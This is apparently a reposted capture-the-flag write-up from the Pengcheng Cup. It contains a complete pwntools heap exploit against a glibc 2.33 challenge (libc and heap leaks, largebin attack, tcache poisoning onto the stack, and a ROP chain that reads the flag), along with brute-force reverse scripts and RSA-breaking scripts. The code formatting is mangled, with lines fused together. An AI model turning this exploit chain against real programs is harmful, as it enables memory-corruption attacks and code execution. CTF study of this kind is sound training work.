A_fruit
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')libc=ELF('/glibc/2.33/amd64/lib/libc-2.33.so')context.log_level='debug'def add(size):
p.sendlineafter("5.Exitn",str(1))
p.sendlineafter("size:n",str(size))
def edit(idx,con):
p.sendlineafter("5.Exitn",str(2))
p.sendlineafter("index:n",str(idx))
p.sendafter("content:",con)
def show(idx):
p.sendlineafter("5.Exitn",str(3))
p.sendlineafter("index:n",str(idx))
def delete(idx):
p.sendlineafter("5.Exitn",str(4))
p.sendlineafter("index:n",str(idx))
def myz3(c):
a1 = BitVec('a1', 64)
b1 = BitVec('b1', 64)
b2 = BitVec('b2', 64)
b3 = BitVec('b3', 64)
b4 = BitVec('b4', 64)
b5 = BitVec('b5', 64)
b6 = BitVec('b6', 64)
b7 = BitVec('b7', 64)
b8 = BitVec('b8', 64)
b9 = BitVec('b9', 64)
solver = Solver()
solver.add(b1 == (((((((a1+a1+a1)<<4^a1)&0xffffffff)>>0x15^((a1+a1+a1)<<4^a1))&0xffffffff)<<0x11^(((a1+a1+a1)<<4^a1)&0xffffffff)>>0x15^((a1+a1+a1)<<4)^a1)&0xffffffff))
solver.add(b2 == (((((((b1+b1+b1)<<4^b1)&0xffffffff)>>0x15^((b1+b1+b1)<<4^b1))&0xffffffff)<<0x11^(((b1+b1+b1)<<4^b1)&0xffffffff)>>0x15^((b1+b1+b1)<<4)^b1)&0xffffffff))
solver.add(b3 == (((((((b2+b2+b2)<<4^b2)&0xffffffff)>>0x15^((b2+b2+b2)<<4^b2))&0xffffffff)<<0x11^(((b2+b2+b2)<<4^b2)&0xffffffff)>>0x15^((b2+b2+b2)<<4)^b2)&0xffffffff))
solver.add(b4 == (((((((b3+b3+b3)<<4^b3)&0xffffffff)>>0x15^((b3+b3+b3)<<4^b3))&0xffffffff)<<0x11^(((b3+b3+b3)<<4^b3)&0xffffffff)>>0x15^((b3+b3+b3)<<4)^b3)&0xffffffff))
solver.add(b5 == (((((((b4+b4+b4)<<4^b4)&0xffffffff)>>0x15^((b4+b4+b4)<<4^b4))&0xffffffff)<<0x11^(((b4+b4+b4)<<4^b4)&0xffffffff)>>0x15^((b4+b4+b4)<<4)^b4)&0xffffffff))
solver.add(b6 == (((((((b5+b5+b5)<<4^b5)&0xffffffff)>>0x15^((b5+b5+b5)<<4^b5))&0xffffffff)<<0x11^(((b5+b5+b5)<<4^b5)&0xffffffff)>>0x15^((b5+b5+b5)<<4)^b5)&0xffffffff))
solver.add(b7 == (((((((b6+b6+b6)<<4^b6)&0xffffffff)>>0x15^((b6+b6+b6)<<4^b6))&0xffffffff)<<0x11^(((b6+b6+b6)<<4^b6)&0xffffffff)>>0x15^((b6+b6+b6)<<4)^b6)&0xffffffff))
solver.add(b8 == (((((((b7+b7+b7)<<4^b7)&0xffffffff)>>0x15^((b7+b7+b7)<<4^b7))&0xffffffff)<<0x11^(((b7+b7+b7)<<4^b7)&0xffffffff)>>0x15^((b7+b7+b7)<<4)^b7)&0xffffffff))
solver.add(b9 == (((((((b8+b8+b8)<<4^b8)&0xffffffff)>>0x15^((b8+b8+b8)<<4^b8))&0xffffffff)<<0x11^(((b8+b8+b8)<<4^b8)&0xffffffff)>>0x15^((b8+b8+b8)<<4)^b8)&0xffffffff))
solver.add(c == (((((((b9+b9+b9)<<4^b9)&0xffffffff)>>0x15^((b9+b9+b9)<<4^b9))&0xffffffff)<<0x11^(((b9+b9+b9)<<4^b9)&0xffffffff)>>0x15^((b9+b9+b9)<<4)^b9)&0xffffffff))
if solver.check() == sat:
ans = solver.model().eval(a1)
del solver
return (int((str(ans))))
else:
print("no")
add(0x448)#0add(0x448)#1add(0x438)#2add(0x500)#3add(0x500)#4add(0x500)#5add(0x500)#6add(0x500)#7delete(0)
show(0)
low = myz3(int(p.recvuntil('n',drop=True),16))
high = myz3(int(p.recvuntil('n',drop=True),16))<<32leak_addr = high+lowprint("low:",hex(low))
print("high:",hex(high))
print("leak_addr:",hex(leak_addr))
libc_base = leak_addr - (0x7ffff7fb8c00-0x7ffff7dfd000)
print("libc_base:",hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
print("free_hook:",hex(free_hook))
environ = libc_base + libc.sym['environ']
add(0x458)#4delete(2)
show(2)
low = myz3(int(p.recvuntil('n',drop=True),16))
high = myz3(int(p.recvuntil('n',drop=True),16))<<32ori_addr = high+lowmp = libc_base + 0x1BB2D0payload = p64(ori_addr)*2+p64(0)+p64(mp-0x20-5)
edit(0,payload)
add(0x458)
delete(5)#tcdelete(4)
show(5)
low = myz3(int(p.recvuntil('n',drop=True),16))
high = myz3(int(p.recvuntil('n',drop=True),16))<<32heap_addr = high+lowprint("heap_addr:",hex(heap_addr))
edit(4,p64(environ))
add(0x500)#10add(0x500)#11show(11)
low = myz3(int(p.recvuntil('n',drop=True),16))
high = myz3(int(p.recvuntil('n',drop=True),16))<<32stack_addr = high+low#0x00007fffffffdd78print("stack_addr:",hex(stack_addr))
target_addr = stack_addr + 8delete(5)#tcdelete(4)
edit(4,p64(target_addr))
add(0x500)#12add(0x500)#13edit(1,"flagx00")
flag_addr = heap_addr - (0x00005555556056f0-0x555555606000)
tmp_addr = heap_addr - (0x00005555556056f0-0x555555606000) + 0x10pop_rdi_ret = libc_base + 0x0000000000027f12pop_rsi_ret = libc_base + 0x000000000003203apop_rdx_ret = libc_base + 0x00000000000f7021pop_rax_ret = libc_base + 0x000000000003f540syscall = libc_base + 0x0000000000026845payload = p64(pop_rdi_ret) + p64(flag_addr)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(syscall)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(tmp_addr)
payload += p64(pop_rdx_ret) + p64(0x100)*2payload += p64(pop_rax_ret) + p64(0)
payload += p64(syscall)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(tmp_addr)
payload += p64(pop_rax_ret) + p64(1)
payload += p64(syscall)
edit(13,payload)
p.sendline('5')
#gdb.attach(p,'''b free#watch *{}'''.format(hex(mp)))#raw_input()p.interactive()
Fruitshop
one
rainbow_cat
arm_protocol
maze
context(os='linux', arch='amd64', log_level='CRITICAL')
def ps(cont):
try:
r = process("./maze") r.recvuntil("plz enter the foot printn> ")
r.sendline(cont)
out = r.recv(2*len(cont))
# print out
if len(out) >=2*len(cont):
print("good")
if ("fl" in out):
print("flag is "+cont)
raise
return True
else:
print("error")
return False
except:
exit(0)
key=["r","t","l"]
cont=""
def pow(cont):
print(cont)
for i in key:
if ps(cont+i):
pow(cont+i)
else:
pass
pow("")
rota
import itertools,os
key = '0123456789abcdef'
enc = 'ksPhS/34MXifj+Ibtjud2Tikj5HkA7iTpbaNELBebOaIm'
flag = ''
for j in range(0,33):
for i in itertools.product(key, repeat=3):
tmp = ''.join(i)
cache = os.popen(f'echo {(flag + tmp)[:32]}|rota.exe').readlines()[0]
a = len(flag) // 3 * 4
b = (len(flag) // 3 + 1) * 4
if cache[a:b] == enc[a:b]:
flag += tmp
flag = flag[:32]
break
print(flag)
baby_re
babyrssa
for i in range(p-q,p):
a=a*i%pm=pow(c,d,p)
m=-m*a%pprint(long_to_bytes(m))
easy rsa
from Crypto.Util.number import *
from gmpy2 import iroot
a={'c':'27455f081e4858790c6503580dad3302ae359c9fb46dc601eee98f05142128404e95377324720adbbdebf428549008bcd1b670f6749592a171b30316ab707004b9999f3b80de32843afdfd30505b1f4166a03cee9fc48902b74b6e850cfd268e6917c5d84e64f7e7cd0e4a30bfe5903fb5d821d27fdc817d9c4536a8e7aea55af266abcae857a8ffff2f741901baba1b44091a137c69c471c123ab0b80e250e055959c468e6e37c005105ecd7c8b48c659024e5e251df3eeff5da7b3d561cd98150da3575a16bee5f2524d2795fd4879487018345c1e96efc085ed45fb5f02c027aee5bca3aad0eb3e23376c0cd18b02fb05a1ff8fb1af0a3ce4bb671599894e', 'p':'bb602e402b68a5cfcc5cfcc63cc82e362e98cb7043817e3421599a4bb8755777c362813742852dad4fec7ec33f1faec04926f0c253f56ab4c4dde6d71627fbc9ef42425b70e5ecd55314e744aa66653103b7d1ba86d1e0e21920a0bfe7d598bd09c3c377a3268928b953005450857c6cfea5bfdd7c16305baed0f0a31ad688bd', 'q':'bb8d1ea24a3462ae6ec28e79f96a95770d726144afc95ffffa19c7c3a3786a6acc3309820ba7b1a28a4f111082e69e558b27405613e115139b38e799c723ab7fdd7be14b330b118ae60e3b44483a4c94a556e810ab94bbb102286d0100d7c20e7494e20e0c1030e016603bd2a06c1f6e92998ab68e2d420faf47f3ee687fb6d1', 'e':'292'}
b={'c':'3a80caebcee814e74a9d3d81b08b1130bed6edde2c0161799e1116ab837424fbc1a234b9765edfc47a9d634e1868105d4458c9b9a0d399b870adbaa2337ac62940ade08daa8a7492cdedf854d4d3a05705db3651211a1ec623a10bd60596e891ccc7b9364fbf2e306404aa2392f5598694dec0b8f7efc66e94e3f8a6f372d833941a2235ebf2fc77c163abcac274836380045b63cc9904d9b13c0935040eda6462b99dd01e8230fdfe2871124306e7bca5b356d16796351db37ec4e574137c926a4e07a2bfe76b9cbbfa4b5b010d678804df3e2f23b4ec42b8c8433fa4811bf1dc231855bea4225683529fad54a9b539fe824931b4fdafab67034e57338217f', 'p':'a9cb9e2eb43f17ad6734356db18ad744600d0c19449fc62b25db7291f24c480217d60a7f87252d890b97a38cc6943740ac344233446eea4084c1ba7ea5b7cf2399d42650b2a3f0302bab81295abfd7cacf248de62d3c63482c5ea8ab6b25cdbebc83eae855c1d07a8cf0408c2b721e43c4ac53262bf9aaf7a000000000000000', 'e':'10001', 'n': '841a5a012c104e600eca17b451d5fd37c063ad347707a2e88f36a07e9ad4687302790466e99f35b11580cbe8b0a212e6709686c464a6393c5895b1f97885f23ea12d2069eb6dc3cb4199fb8c6e80a4a94561c6c3499c3c02d9dc9cf216c0f44dc91701a6d9ec89981f261a139500420a51014492f1da588a26e761439dd5739b32540ca6dc1ec3b035043bc535304a06ccb489f72fcd1aa856e1cffe195039176937f9a16bd19030d1e00095f1fd977cf4f23e47b55650ca4712d1eb089d92df032e5180d05311c938a44decc6070cd01af4c6144cdab2526e5cb919a1828bec6a4f3332bf1fa4f1c9d3516fbb158fd4fbcf8b0e67eff944efa97f5b24f9aa65'}
c={'c':'1bd2a47a5d275ba6356e1e2bd10d6c870693be540e9318c746e807a7672f3a75cc63841170126d7dba52d7f6f9cf0f8dce9705fc1785cc670b2658b05d4b24d8918f95594844bfa920c8ffe73160c2c313b3fdbc4541ec19828165e34afa7d05271cc6fd59d08138b88c11677e6ac3b39cff525dcb19694b0388d895f53805a5e5bd8cfb947080e4855aaf83ebd85a397526f7d76d26031386900cb44a2e4bd121412bcee7a6c1e9af411e234f130e68a428596265d3ec647e50f65cb81393f4bd38389a2b9010fd715582506b9054dc235aced50757462b77a5606f116853af0c1ea3c7cf0d304f885d86081f8bac8b67b0625122f75448c5b6eb8f1cc8a0df', 'n':'c2b17c86a8950f6dafe0a633890e4271cfb20c5ffda2d6b3d035afa655ed05ec16c67b18832ed887f2cea83056af079cc75c2ce43c90cce3ed02c2e07d256f240344f1734adeee6dc2b3b4bbf6dcfc68518d0a74e3e66f1865db95ef4204457e6471903c2321ac97f3b8e3d8d935896e9fc9145a30a3e24e7c320490a9944c1e94d301c8388445532699e6189f4aa6a86f67f1d9b8fb0de4225e005bd27594cd33e36622b2cd8eb2781f0c24d33267d9f29309158942b681aab81f39d1b4a73bd17431b46a89a0e4c2c58b1e24e850355c63b72392600d3fff7a16f6ef80ea515709da3ef1d28782882b0dd2f76bf609590db31979c5d1fd03f75d9d8f1c5069', 'e':'10001'}
d = inverse(int(a['e'],16)//2,(int(a['p'],16)-1)*(int(a['q'],16)-1))
#print(d)
m=(pow(int(a['c'],16),d,int(a['p'],16)*int(a['q'],16)))
print(long_to_bytes(iroot(m,2)[0]))N = 0x841a5a012c104e600eca17b451d5fd37c063ad347707a2e88f36a07e9ad4687302790466e99f35b11580cbe8b0a212e6709686c464a6393c5895b1f97885f23ea12d2069eb6dc3cb4199fb8c6e80a4a94561c6c3499c3c02d9dc9cf216c0f44dc91701a6d9ec89981f261a139500420a51014492f1da588a26e761439dd5739b32540ca6dc1ec3b035043bc535304a06ccb489f72fcd1aa856e1cffe195039176937f9a16bd19030d1e00095f1fd977cf4f23e47b55650ca4712d1eb089d92df032e5180d05311c938a44decc6070cd01af4c6144cdab2526e5cb919a1828bec6a4f3332bf1fa4f1c9d3516fbb158fd4fbcf8b0e67eff944efa97f5b24f9aa65
# pbar = 0xa9cb9e2eb43f17ad6734356db18ad744600d0c19449fc62b25db7291f24c480217d60a7f87252d890b97a38cc6943740ac344233446eea4084c1ba7ea5b7cf2399d42650b2a3f0302bab81295abfd7cacf248de62d3c63482c5ea8ab6b25cdbebc83eae855c1d07a8cf0408c2b721e43c4ac53262bf9aaf7a000000000000000
# ZmodN = Zmod(N)
# kbits = 60
# P.<x> = PolynomialRing(ZmodN)
# f = pbar + x
# x0 = f.small_roots(X=2^kbits, beta=0.4)[0]
# p = pbar + x0
# print("p: ", p)
p=119234372387564173916926418564504307771905987823894721284221707768770334474240277144999791051191061404002537779694672314673997030282474914206610847346023297970473719280866108677835517943804329212840618914863288766846702119011361533150365876285203805100986025166317939702179911918098037294325448226481818486521
e=0x10001
c=int('3a80caebcee814e74a9d3d81b08b1130bed6edde2c0161799e1116ab837424fbc1a234b9765edfc47a9d634e1868105d4458c9b9a0d399b870adbaa2337ac62940ade08daa8a7492cdedf854d4d3a05705db3651211a1ec623a10bd60596e891ccc7b9364fbf2e306404aa2392f5598694dec0b8f7efc66e94e3f8a6f372d833941a2235ebf2fc77c163abcac274836380045b63cc9904d9b13c0935040eda6462b99dd01e8230fdfe2871124306e7bca5b356d16796351db37ec4e574137c926a4e07a2bfe76b9cbbfa4b5b010d678804df3e2f23b4ec42b8c8433fa4811bf1dc231855bea4225683529fad54a9b539fe824931b4fdafab67034e57338217f', 16)
d = inverse(e,(p-1))
print(long_to_bytes(pow(c,d,p)))
c=int('1bd2a47a5d275ba6356e1e2bd10d6c870693be540e9318c746e807a7672f3a75cc63841170126d7dba52d7f6f9cf0f8dce9705fc1785cc670b2658b05d4b24d8918f95594844bfa920c8ffe73160c2c313b3fdbc4541ec19828165e34afa7d05271cc6fd59d08138b88c11677e6ac3b39cff525dcb19694b0388d895f53805a5e5bd8cfb947080e4855aaf83ebd85a397526f7d76d26031386900cb44a2e4bd121412bcee7a6c1e9af411e234f130e68a428596265d3ec647e50f65cb81393f4bd38389a2b9010fd715582506b9054dc235aced50757462b77a5606f116853af0c1ea3c7cf0d304f885d86081f8bac8b67b0625122f75448c5b6eb8f1cc8a0df', 16)
n=int('c2b17c86a8950f6dafe0a633890e4271cfb20c5ffda2d6b3d035afa655ed05ec16c67b18832ed887f2cea83056af079cc75c2ce43c90cce3ed02c2e07d256f240344f1734adeee6dc2b3b4bbf6dcfc68518d0a74e3e66f1865db95ef4204457e6471903c2321ac97f3b8e3d8d935896e9fc9145a30a3e24e7c320490a9944c1e94d301c8388445532699e6189f4aa6a86f67f1d9b8fb0de4225e005bd27594cd33e36622b2cd8eb2781f0c24d33267d9f29309158942b681aab81f39d1b4a73bd17431b46a89a0e4c2c58b1e24e850355c63b72392600d3fff7a16f6ef80ea515709da3ef1d28782882b0dd2f76bf609590db31979c5d1fd03f75d9d8f1c5069', 16)
p=GCD(c,n)
q=n//p
assert n%p==0
d = inverse(e,(p-1)*(q-1))
M = pow(c,d,n)
print(M%p==0)
m = (M // p ) // (2022*1011)
print(long_to_bytes(m))
原文始发于微信公众号(山石网科安全技术研究院):鹏城杯WriteUp | Pwn、密码、Reverse方向
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论